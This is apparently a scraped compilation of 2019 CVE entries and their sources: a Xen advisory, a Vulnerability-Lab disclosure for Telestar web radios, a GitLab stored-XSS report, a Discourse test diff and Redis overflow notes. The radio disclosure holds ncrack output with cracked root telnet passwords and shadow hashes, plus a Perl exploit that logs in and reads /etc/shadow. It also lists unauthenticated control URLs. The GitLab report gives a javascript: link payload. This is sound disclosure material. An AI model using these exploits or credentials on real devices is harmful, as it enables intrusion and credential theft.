An issue was discovered in Xen through 4.11.x allowing x86 PV guest OS users to cause a denial of service or gain privileges by leveraging a page-writability race condition during addition of a passed-through PCI device.

**Information**

Advisory

XSA-285

Public release

2019-03-05 12:00

Updated

2019-10-25 11:09

Version

3

CVE(s)

CVE-2019-17341

Title

race with pass-through device hotplug

**Files**advisory-285.txt (signed advisory file)  
xsa285.meta  
xsa285.patch  
xsa285-4.11.patch**Advisory**

\-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

            Xen Security Advisory CVE-2019-17341 / XSA-285
                              version 3

                 race with pass-through device hotplug

UPDATES IN VERSION 3
====================

CVE assigned.

ISSUE DESCRIPTION
=================

When adding a passed-through PCI device to a domain after it was already
started, IOMMU page tables may need constructing on the fly.  For PV
guests the decision whether a page ought to have a mapping is based on
whether the page is writable, to prevent IOMMU access to things like
page tables.  Writablility of a page may, however, change at any time.
Failure of the relevant code to respect this possible race may lead
to IOMMU mappings of, in particular, page tables, allowing the guest
to alter such page tables without Xen auditing the changes.

IMPACT
======

Malicious PV guests can escalate their privilege to that of the
hypervisor.

VULNERABLE SYSTEMS
==================

All versions of Xen are vulnerable.

Only x86 systems are vulnerable.  ARM systems are not vulnerable.

Only x86 PV guests can exploit the vulnerability.  x86 HVM and PVH
guests cannot exploit the vulnerability.

Only guests which are assigned a device after domain creation can
exploit this vulnerability.  Guests which are not assigned devices, or
guests assigned devices at domain creation time, cannot exploit this
vulnerability.

MITIGATION
==========

Running only HVM or PVH guests avoids the vulnerability.

Assigning passed-through PCI devices to PV guests at domain creation
time also avoids the vulnerability.

CREDITS
=======

This issue was discovered by Jan Beulich of SUSE.

RESOLUTION
==========

Applying the appropriate attached patch resolves this issue.

xsa285.patch           xen-unstable
xsa285-4.11.patch      Xen 4.7.x - Xen 4.11.x

$ sha256sum xsa285\*
0851a4a9120220e2b03eafaf94648077154b6a6f27c29055d3779ccad7684fce  xsa285.meta
9e96d3763158edde8d664c3e26761e63ca6f96bb921e0d7eb68351fe47499bde  xsa285.patch
38ec20b04e0a859abe9850803ae00a33e48591a9949e5287dfa3725f3bd179f3  xsa285-4.11.patch
$

DEPLOYMENT DURING EMBARGO
=========================

Deployment of the patches and/or mitigations described above (or
others which are substantially similar) is permitted during the
embargo, even on public-facing systems with untrusted guest users and
administrators.

But: Distribution of updated software is prohibited (except to other
members of the predisclosure list).

Predisclosure list members who wish to deploy significantly different
patches and/or mitigations, please contact the Xen Project Security
Team.

(Note: this during-embargo deployment notice is retained in
post-embargo publicly released Xen Project advisories, even though it
is then no longer applicable.  This is to enable the community to have
oversight of the Xen Project Security Team's decisionmaking.)

For more information about permissible uses of embargoed information,
consult the Xen Project community's agreed Security Policy:
  http://www.xenproject.org/security-policy.html
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Xenproject.org Security Team

CVE-2019-17341: 285 - Xen Security Advisories

TELESTAR Bobs Rock Radio, Dabman D10, Dabman i30 Stereo, Imperial i110, Imperial i150, Imperial i200, Imperial i200-cd, Imperial i400, Imperial i450, Imperial i500-bt, and Imperial i600 TN81HH96-g102h-g102 devices have insufficient access control for the /set_dname, /mylogo, /LocalPlay, /irdevice.xml, /Sendkey, /setvol, /hotkeylist, /init, /playlogo.jpg, /stop, /exit, /back, and /playinfo commands.

Document Title: =============== Dabman & Imperial (i&d) - Multiple Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get\_content.php?id=2183 Video: https://www.vulnerability-lab.com/get\_content.php?id=2190 Vulnerability Magazine: https://www.vulnerability-db.com/?q=articles/2019/09/09/imperial-dabman-internet-radio-undocumented-telnetd-code-execution http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-13473 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-13474 CVE-ID: ======= CVE-2019-13473 Release Date: ============= 2019-09-09 Vulnerability Laboratory ID (VL-ID): ==================================== 2183 Common Vulnerability Scoring System: ==================================== 9.9 Vulnerability Class: ==================== Multiple Current Estimated Price: ======================== 10.000€ - 25.000€ Product & Service Introduction: =============================== Since 1993, TELESTAR has been synonymous with quality and a very good price/performance ratio in the consumer electronics segment. TELESTAR-DIGITAL GmbH distributes high-quality reception technology for digital TV reception via satellite (DVB-S), cable (DVBC) or terrestrial (DVB-T) from its headquarters in the Vulkaneifel region of Germany. The product portfolio includes digital receivers and the latest generation of television sets as well as modern distribution and single-cable technology, satellite to IP reception solutions and radio transmission systems. The product range is rounded off by Germany's most comprehensive range of accessories for digital television reception. (Copy of the Homepage: https://www.xing.com/companies/telestar-digitalgmbh ) Abstract Advisory Information: ============================== The vulnerability laboratory research team discovered multiple vulnerabilities in the dabman and imperial web radio devices series (typ d & i). Vulnerability Disclosure Timeline: ================================== 2019-06-01: Researcher Notification & Coordination (Security Researcher) 2019-06-02: Vendor Notification (Telestar Digital Data Security Department) 2019-06-07: Vendor Response/Feedback (Telestar Digital Data Security Department) 2019-08-30: Vendor Fix/Patch (Service Developer Team) 2019-09-08: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Critical Authentication Type: ==================== Pre Auth (No Privileges or Session) User Interaction: ================= No User Interaction Disclosure Type: ================ Coordinated Disclosure Technical Details & Description: ================================ 1.1 The dabman and imperial manufactured web radio series (typ d & i) suffers from a weak password vulnerability. The vulnerabilites allows local and remote attackers to compromise the web radios full embedded linux busybox os. The vulnerability is located within an undocumented telnet service (telnetd) of the linux busybox and is turned permanently on. The telnetd service uses weak passwords with hardcoded credentials on the local embedded linux busybox of the internet radio devices. The telnet password can be cracked by usage of simple manual password bruteforce technics or by basic automated attacks with scripts (exp. ncrack). After receiving the password the remote or local network attacker can unauthorized login to the internet radio device to use the embedded linux busybox operating system. After the attacker has been logged in as root user, he can open the /etc/ path to cat gshadow, shadow and the conf files. At the end the attacker has finally full root access on the busybox (telnetd), he can access the web-server (httpd) as admin and see the wireless lan + unencrypted key in ./flash/ - wifi.cfg. A demo exploit poc is available in the wild. Due to some deeper researcher we identified also another manufacturer that uses the same typ of default manufactured system. The same undocumented telnet service was uncovered during the analysis. The manufacturer is still processing a patch. Vulnerable Protocol(s): \[+\] telnetd System(s): \[+\] BusyBox v1.15.2 (2014-05-05 23:37:21 CST) built-in shell (ash) (Debian Linux PreRelease - ARM 3.3.2) Firmware Version(s): \[+\] TN81HH96-g102h-g102 Manufacturer: Telestar Digital Gmbh Affected Version(s): \[+\] Bobs Rock Radio \[+\] Dabman D10 \[+\] Dabman i30 Stereo \[+\] Imperial i110 \[+\] Imperial i150 \[+\] Imperial i200 \[+\] Imperial i200-cd \[+\] Imperial i400 \[+\] Imperial i450 \[+\] Imperial i500-bt \[+\] Imperial i600 1.2 The dabman and imperial manufactured web radio series (typ d & i) suffers from a command execution vulnerability. The vulnerability allows local and remote attackers unauthorized and unauthenticated send commands to comprimise the web radio devices. The vulnerability is located httpd web-server communcation on port 80 and 8080. Local and remote attackers can send basic GET commands with basic command line tools (exp. curl or modhttp) to modify or manipulate http requests. The attacker can also capture the http airmusic commands to reverse engineer the radio device for unauthorized interactions. The system has no protection mechanism to block unauthorized transmit of commands. The web radio as well not owns an auth or reminder mechanism to ensure only allowed or trusted sources can transmit the commands (client, system, mac , auth ...). Vulnerable Protocol(s): \[+\] httpd Module(s): \[+\] UIData (Web UI on 80 or 8080) Function(s): \[+\] /set\_dname \[+\] /mylogo \[+\] /LocalPlay \[+\] /LocalPlay \[+\] /irdevice.xml \[+\] /Sendkey \[+\] /setvol \[+\] /hotkeylist \[+\] /init \[+\] /playlogo.jpg \[+\] /stop \[+\] /exit \[+\] /back \[+\] /playinfo Parameter(s): \[+\] ?name= \[+\] ?url=./\*.jpg \[+\] ?url=/stream.wav&name=\* \[+\] ?url=/msg.wav&save=\* \[+\] ?key=\* \[+\] ?vol=\*0&mute=\* \[+\] ?language=\* Affected Function(s): \[+\] Air Music Controls Manufacturer: Telestar Digital Gmbh Affected Version(s): \[+\] Bobs Rock Radio \[+\] Dabman D10 \[+\] Dabman i30 Stereo \[+\] Imperial i110 \[+\] Imperial i150 \[+\] Imperial i200 \[+\] Imperial i200-cd \[+\] Imperial i400 \[+\] Imperial i450 \[+\] Imperial i500-bt \[+\] Imperial i600 Proof of Concept (PoC): ======================= 1.1 Undocumented Telnet Service (telnetd) The security vulnerability can be exploited by local and remote attackers without user interaction or privileged user account. For security demonstration or to reproduce follow the provided information and steps below to continue. Nmap Portscan Scanning R-MAVERIC-EMAC\_1\_01\_018 (93.234.141.215) \[1000 ports\] Discovered open port 8080/tcp on 93.234.141.215 Discovered open port 80/tcp on 93.234.141.215 Discovered open port 23/tcp on 93.234.141.215 Completed SYN Stealth Scan at 14:48, 13.38s elapsed (1000 total ports) Initiating Service scan at 14:48 Scanning 3 services on R-MAVERIC-EMAC\_1\_01\_018 (93.234.141.215) Completed Service scan at 14:48, 6.20s elapsed (3 services on 1 host) Initiating OS detection (try #1) against R-MAVERIC-EMAC\_1\_01\_018 (93.234.141.215) NSE: Script scanning 93.234.141.215. Initiating NSE at 14:48 Completed NSE at 14:49, 30.61s elapsed Initiating NSE at 14:49 Completed NSE at 14:49, 0.00s elapsed Nmap scan report for R-MAVERIC-EMAC\_1\_01\_018 (93.234.141.215) Host is up (0.010s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet security DVR telnetd (many brands) 80/tcp open tcpwrapped |\_http-title: AirMusic 8080/tcp open http BusyBox httpd 1.13 | http-methods: |\_ Supported Methods: GET |\_http-title: 404 Not Found MAC Address: 7C:C7:09:FD:3B:56 (Shenzhen Rf-link Technology) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux\_kernel:2.6 OS details: Linux 2.6.16 - 2.6.35 (embedded) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=197 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel NCrack \[telnetd\] (ncrack -v --user root \[IP\]:\[PORT\]) C:Program Files (x86)Ncrack>ncrack -v --user root 93.234.141.215:23 Starting Ncrack 0.6 ( http://ncrack.org ) at 2019-06-29 18:21 Mitteleuropõische Sommerzeit Discovered credentials on telnet://93.234.141.215:23 'root' 'password' Discovered credentials on telnet://93.234.141.215:23 'root' 'password1' Discovered credentials on telnet://93.234.141.215:23 'root' 'password2' Discovered credentials on telnet://93.234.141.215:23 'root' 'password123' Discovered credentials on telnet://93.234.141.215:23 'root' 'password12' Discovered credentials on telnet://93.234.141.215:23 'root' 'password3' Discovered credentials on telnet://93.234.141.215:23 'root' 'password!' telnet://93.234.141.215:23 finished. Too many failed attemps. Discovered credentials for telnet on 93.234.141.215 23/tcp: 93.234.141.215 23/tcp telnet: 'root' 'password' 93.234.141.215 23/tcp telnet: 'root' 'password1' 93.234.141.215 23/tcp telnet: 'root' 'password2' 93.234.141.215 23/tcp telnet: 'root' 'password123' 93.234.141.215 23/tcp telnet: 'root' 'password12' 93.234.141.215 23/tcp telnet: 'root' 'password3' 93.234.141.215 23/tcp telnet: 'root' 'password!' Ncrack done: 1 service scanned in 273.29 seconds. Probes sent: 1117 | timed-out: 50 | prematurely-closed: 117 Ncrack finished. System: BusyBox v1.15.2 (2014-05-05 23:37:21 CST) built-in shell (ash) Kernel: 9)20151217\_M8\_TFT\_7601\_Kernel OS: CC: (GNU) 3.3.2 20031005 (Debian prerelease)GCC: (GNU) 4.2.1GCC: (GNU) 4.2.1GCC: (GNU) 4.2.1GCC: (GNU) 4.2.1GCC: (GNU) 4.2.1GCC: (GNU) 3.3.2 20031005 (Debian prerelease)Aaeabi.shstrtab.init.text.fini. rodata.ARM.extab.ARM.exidx.eh\_frame.init\_array. fini\_array.jcr.data.rel.ro.got.data.bss.comment.ARM.attributes Built-in commands: . : \[ \[\[ bg break cd chdir continue echo eval exec exit export false fg hash help jobs kill local printf pwd read readonly return set shift source test times trap true type ulimit umask unset wait Currently defined functions: \[, \[\[, ash, cat, chmod, cp, date, df, echo, free, ftpget, ftpput, gunzip, httpd, ifconfig, init, insmod, kill, killall, linuxrc, login, ls, lzmacat, mdev, mkdir, mount, mv, ping, ps, pwd, rm, rmmod, route, run-parts, sh, sleep, sync, tar, telnetd, test, top, true, udhcpc, udhcpd, umount, unlzma, usleep, zcat Username: root Password: password & password! shadow root:r.BF8RVw56BOA:1:0:99999:7::: (decrypted: password & mldonkey) ftp:!:0:::::: (decrypted: empty/blank) usb:w.rW11jv2dmM2:13941:::::: (decrypted: winbond) gshadow root:::root,mldonkey PoC: Exploit use Net::Telnet (); use Cwd; $file="inputLog.txt"; $ofile="outputlog.txt"; # For local network change to localhost or local ip @hosts = ("93.234.141.215"); foreach $hostip (sort @hosts) { $t = new Net::Telnet (Timeout => 10, Input\_log => $file, Prompt => "/>/"); print "nnConnecting to undocumented Telnet Service of Imperial or Dabman Web Radio Service: $hostip ...n"; print "nnAffected Models: Bobs Rock Radio, D10, i30, D30iS, i110, i150, i200, i200-cd, i400, i450, i500-bt, i600n"; $t->open("$hostip"); $t->login("root","password"); my @lines = $t->cmd('cat /etc/shadow'); print "$hostip: Directories:n"; print "@lines n"; $t->close; } 1.2 AirMusic Unauthenticated Command Execution (httpd) The security vulnerability can be exploited by local and remote attackers without user interaction or privileged user account. For security demonstration or to reproduce follow the provided information and steps below to continue. AirMusic Status Interface: http://93.234.141.215:80 Web-Server HTTPD UIData Path: http://93.234.141.215:8080 Note: Attacks can be performed in the local network (Localhost:80) or remotly by requesting the url remote ip adress (93.234.141.215) + forwarded remote port(Standard :23). Get device name from Device http://93.234.141.215:80/irdevice.xml Set device name http://93.234.141.215:80/set\_dname?name=PWND Set boot-logo (HTTP URL, requirement: JPG) http://93.234.141.215:80/mylogo?url=http://vulnerability-lab.com/pwnd.jpg Display or retrieve channel logo http://93.234.141.215:80:8080/playlogo.jpg Changing the main menu with the selected language http://93.234.141.215:80/init?language=us Play stream http://93.234.141.215:80/LocalPlay?url=http://vulnerability-lab.com/stream.wav&name=NAME Save audio file as message http://93.234.141.215:80/LocalPlay?url=http://vulnerability-lab.com/msg.wav&save=1 Recall channel hotkeys http://93.234.141.215:80/hotkeylist Current playback data http://93.234.141.215:80/playinfo Set volume from 0-31 & mute function http://93.234.141.215:80/setvol?vol=10&mute=0 Reset http://93.234.141.215:80/back Set stop http://93.234.141.215:80/stop Activate all back http://93.234.141.215:80/exit Send keystroke combo http://93.234.141.215:80/Sendkey?key=3 PoC: Exploit Dabman & Imerpial - HTML AutoPwner PoC: Checker for Modifications #!/usr/bin/perl use strict; use warnings; use LWP::Simple; my $url1 = 'http://93.234.141.215:80/'; my $source1 = get( $url1 ); my $url2 = 'http://93.234.141.215:80/'; my $source2 = get( $url2 ); print $source1; print $source1; Solution - Fix & Patch: ======================= A fresh updated version is available by the manufacturer telestar digital gmbh to resolve the vulnerabilities in all i & d series products. It is recommended to install the updates as quick as possible to ensure the digital security. Manual steps to update: 1. Set the device to the factory setting 2. Select language 3. Switch off the device 4. Switch on the device 5. Network setup 6. Wait for "New Software" message 7. Press OK to start the update 8. Updated Version: TN81HH96-g102h-g103\*\*a\*-fb21a-3624 Security Risk: ============== The security risk of the vulnerabilities in the online web radio with wifi and user interface are estimated as critical. The vulnerability can be exploited by local attackers in a network or by remote attackers without user interaction or further privileged user accounts. The potential of the issue being exploited in thousends of end user devices all over europe is estimated as high. The issue has the potential that could be used by remote attackers for spreading randomware / malware, mass defacements, compromises for further linux network attacks or being part of a criminal acting iot botnet. Credits & Authors: ================== Benjamin K.M. \[VULNERABILITY LAB - CORE RESEARCH TEAM\] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln\_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss\_upcoming.php vulnerability-lab.com/rss/rss\_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2019 | Vulnerability Laboratory - \[Evolution Security GmbH\]™

CVE-2019-13474: Dabman & Imerpial - HTML AutoPwner

SciLexer.dll in Scintilla in Notepad++ (x64) before 7.7 allows remote code execution or denial of service via Unicode characters in a crafted .ml file.

CVE-2019-16294: Scintilla

An input validation and output encoding issue was discovered in the GitLab CE/EE wiki pages feature which could result in a persistent XSS. This vulnerability was addressed in 12.1.2, 12.0.4, and 11.11.6.

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Open Issue created Apr 06, 2019 by **GitLab SecurityBot@gitlab-securitybot**Reporter

**Stored XSS in Wiki pages**

**HackerOne report #526325** by ryhmnlfj on 2019-04-04, assigned to hackerjuan:

**Summary**

I found Stored XSS using Wiki-specific Hierarchical link Markdown in Wiki pages.

**Steps to reproduce**

1.  Sign in to GitLab.
2.  Open a Project page that you have permission to edit Wiki pages.
3.  Open Wiki page.
4.  Click "New page" button.
5.  Fill out "Page slug" form with javascript:.
6.  Click "Create page" button.
7.  Fill out the each form as follows:  
    Title: javascript:  
    Format: Markdown  
    Content: [XSS](.alert(1);)  
    (Please see "CreatePage.png")  
    
8.  Click "Create page" button.
9.  Click "XSS" link in created page.

**What is the current _bug_ behavior?**

The alert dialog appears after clicking "XSS" link in created page.  
Please see "Result\_Firefox.png".  

**Description In Detail:**

GitLab application converts the Markdown string .alert(1); to the href attribute javascript:alert(1);.  
Furthermore, Wiki-specific Markdown string . is converted to javascript: in this case.

**What is the expected _correct_ behavior?**

The dangerous href attribute javascript:alert(1); should be filtered.  
A safe HTTP/HTTPS link should be rendered instead.

**Additional Informations:**

1.  In the above case, another Wiki-specific Markdown string .. is also converted to javascript:.
    
2.  Using Title string such as javascript:STRING_EXPECTED_REMOVING also reproduces this vulnerability.  
    For example, if a wiki page is created with a disguised Title string JavaScript::SubClassName.function_name, GitLab application converts Wiki-specific Markdown string . to JavaScript: in such page.  
    It seems that GitLab application recognizes scheme-like string JavaScript: and removes the rest of Title string :SubClassName.function_name.
    
3.  An attacker can use various schemes by replacing Title string javascript: to other scheme. (e.g. data:, vbscript:, and so on.)
    

**Output of checks**

This bug happens on the official Docker installation of GitLab Enterprise Edition 11.9.4-ee.

**Results of GitLab environment info**

Output of sudo gitlab-rake gitlab:env:info:

    System information  
    System:		  
    Proxy:		no  
    Current User:	git  
    Using RVM:	no  
    Ruby Version:	2.5.3p105  
    Gem Version:	2.7.6  
    Bundler Version:1.16.6  
    Rake Version:	12.3.2  
    Redis Version:	3.2.12  
    Git Version:	2.18.1  
    Sidekiq Version:5.2.5  
    Go Version:	unknown
    
    GitLab information  
    Version:	11.9.4-ee  
    Revision:	55be7f0  
    Directory:	/opt/gitlab/embedded/service/gitlab-rails  
    DB Adapter:	postgresql  
    DB Version:	9.6.11  
    URL:		http://gitlab.example.com  
    HTTP Clone URL:	http://gitlab.example.com/some-group/some-project.git  
    SSH Clone URL:	git@gitlab.example.com:some-group/some-project.git  
    Elasticsearch:	no  
    Geo:		no  
    Using LDAP:	no  
    Using Omniauth:	yes  
    Omniauth Providers: 
    
    GitLab Shell  
    Version:	8.7.1  
    Repository storage paths:  
    - default: 	/var/opt/gitlab/git-data/repositories  
    GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell  
    Git:		/opt/gitlab/embedded/bin/git  

**Impact**

If wiki pages created by using this vulnerability are visible to everyone (Wiki Visibility setting is set to "Everyone With Access") in "Public" project, there is a possibility that a considerable number of GitLab users and visitors click a malicious link.

**Attachments**

**Warning:** Attachments received through HackerOne, please exercise caution!

*   CreatePage.png
*   Result\_Firefox.png

CVE-2019-5467: Stored XSS in Wiki pages (#60143) · Issues · GitLab.org / GitLab FOSS · GitLab

The rsvpmaker plugin before 6.2 for WordPress has SQL injection.

CVE-2019-15646: RSVPMaker

The cforms2 plugin before 14.6.10 for WordPress has SQL injection.

CVE-2015-9333: cformsII

Zoho ManageEngine ServiceDesk Plus 10 before 10509 allows unauthenticated sensitive information leakage during Fail Over Service (FOS) replication, aka SD-79989.

CVE-2019-15046: ServiceDesk Plus readme | Service desk release notes | ServiceDesk Plus latest version read me notes | IT service management release notes | Service desk current version

Discourse before 2.3.0 and 2.4.x before 2.4.0.beta3 lacks a confirmation screen when logging in via a user-api OTP.

@@ -1369,9 +1369,40 @@ def post\_login get "/session/otp/asd1231dasd123"  
expect(response.status).to eq(404)  
post "/session/otp/asd1231dasd123"  
expect(response.status).to eq(404) end  
context 'when token is valid' do it "should display the form for GET" do token \= SecureRandom.hex $redis.setex "otp\_#{token}", 10.minutes, user.username  
get "/session/otp/#{token}"  
expect(response.status).to eq(200) expect(response.body).to include( I18n.t("user\_api\_key.otp\_confirmation.logging\_in\_as", username: user.username) ) expect($redis.get("otp\_#{token}")).to eq(user.username)  
expect(session\[:current\_user\_id\]).to eq(nil) end  
it "should redirect on GET if already logged in" do sign\_in(user) token \= SecureRandom.hex $redis.setex "otp\_#{token}", 10.minutes, user.username  
get "/session/otp/#{token}" expect(response.status).to eq(302)  
expect($redis.get("otp\_#{token}")).to eq(nil) expect(session\[:current\_user\_id\]).to eq(user.id) end  
it 'should authenticate user and delete token' do user \= Fabricate(:user)  
@@ -1381,7 +1412,7 @@ def post\_login token \= SecureRandom.hex $redis.setex "otp\_#{token}", 10.minutes, user.username  
get "/session/otp/#{token}" post "/session/otp/#{token}"  
expect(response.status).to eq(302) expect(response).to redirect\_to("/")

CVE-2019-1020017: SECURITY: Add confirmation screen when logging in via user-api OTP · discourse/discourse@e6e47f2

A heap-buffer overflow vulnerability was found in the Redis hyperloglog data structure versions 3.x before 3.2.13, 4.x before 4.0.14 and 5.x before 5.0.4. By carefully corrupting a hyperloglog using the SETRANGE command, an attacker could trick Redis interpretation of dense HLL encoding to write up to 3 bytes beyond the end of a heap-allocated buffer.

CVE-2019-10192: 1723918 – (CVE-2019-10192) CVE-2019-10192 redis: Heap buffer overflow in HyperLogLog triggered by malicious client

A stack-buffer overflow vulnerability was found in the Redis hyperloglog data structure versions 3.x before 3.2.13, 4.x before 4.0.14 and 5.x before 5.0.4. By corrupting a hyperloglog using the SETRANGE command, an attacker could cause Redis to perform controlled increments of up to 12 bytes past the end of a stack-allocated buffer.

Tag

#redis